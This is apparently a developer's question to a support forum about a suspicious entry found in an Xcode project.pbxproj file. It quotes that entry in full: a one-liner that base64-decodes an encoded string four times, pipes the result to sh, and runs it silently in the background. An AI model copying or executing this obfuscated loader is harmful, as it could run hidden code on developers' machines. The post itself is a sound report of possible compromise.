I have observed an unexpected entry being added to my project's project.pbxproj file by Xcode:
AB8F749 = "((d(){ base64 --decode | base64 --decode | base64 --decode | base64 --decode; };echo VjJ4a1QySXlTalZSVjJ4TFVUSm9jVnBHYUV0ak1HeEVUVlV4YWsxdVVuUlRWVTEzWkVkT2RGWnFRbXBpYlhSdVZHdE9RbVJGZUZoVWJscHBZbFJXYzFkVVRsSmtSMUpJWWtoU1lWWjZhM2hhUlU1Q1pWVTFjRkZZVW1GUk1FWndXVEJSZUU1R2EzbFBWM1JoVm1wc00xbFZaRWRsYkhCVVUxZGthRk5HU1hkWk1HaE9UbXQ0TlU5WGNHRlNlbFp2V1d4b2RtUlhSbGhPU0ZwYVZUSjBjRk5WYUROYU1rMTVXakJ6U3dvPQo= | d | sh ) >/dev/null 2>&1 &)";
This entry has been flagged as potentially malicious because it appears to contain multiple layers of Base64 encoding and ultimately executes a shell script after decoding.
Could you please confirm whether this is expected behavior from Xcode or any Apple build tools? If this is not expected, could you advise what might be causing Xcode to insert such an entry into the project.pbxproj file?
For context:
-
The entry appears automatically in the project file.
-
We are concerned because it resembles an obfuscated shell script that executes commands during the build process.
-
We would like to understand whether this is generated by Xcode itself, a known feature, or whether it indicates that the project or development environment may have been modified by a third-party tool or compromised.
If additional information such as the Xcode version, macOS version, project sample, or diagnostic logs would help your investigation, I would be happy to provide them.
Thank you for your assistance.
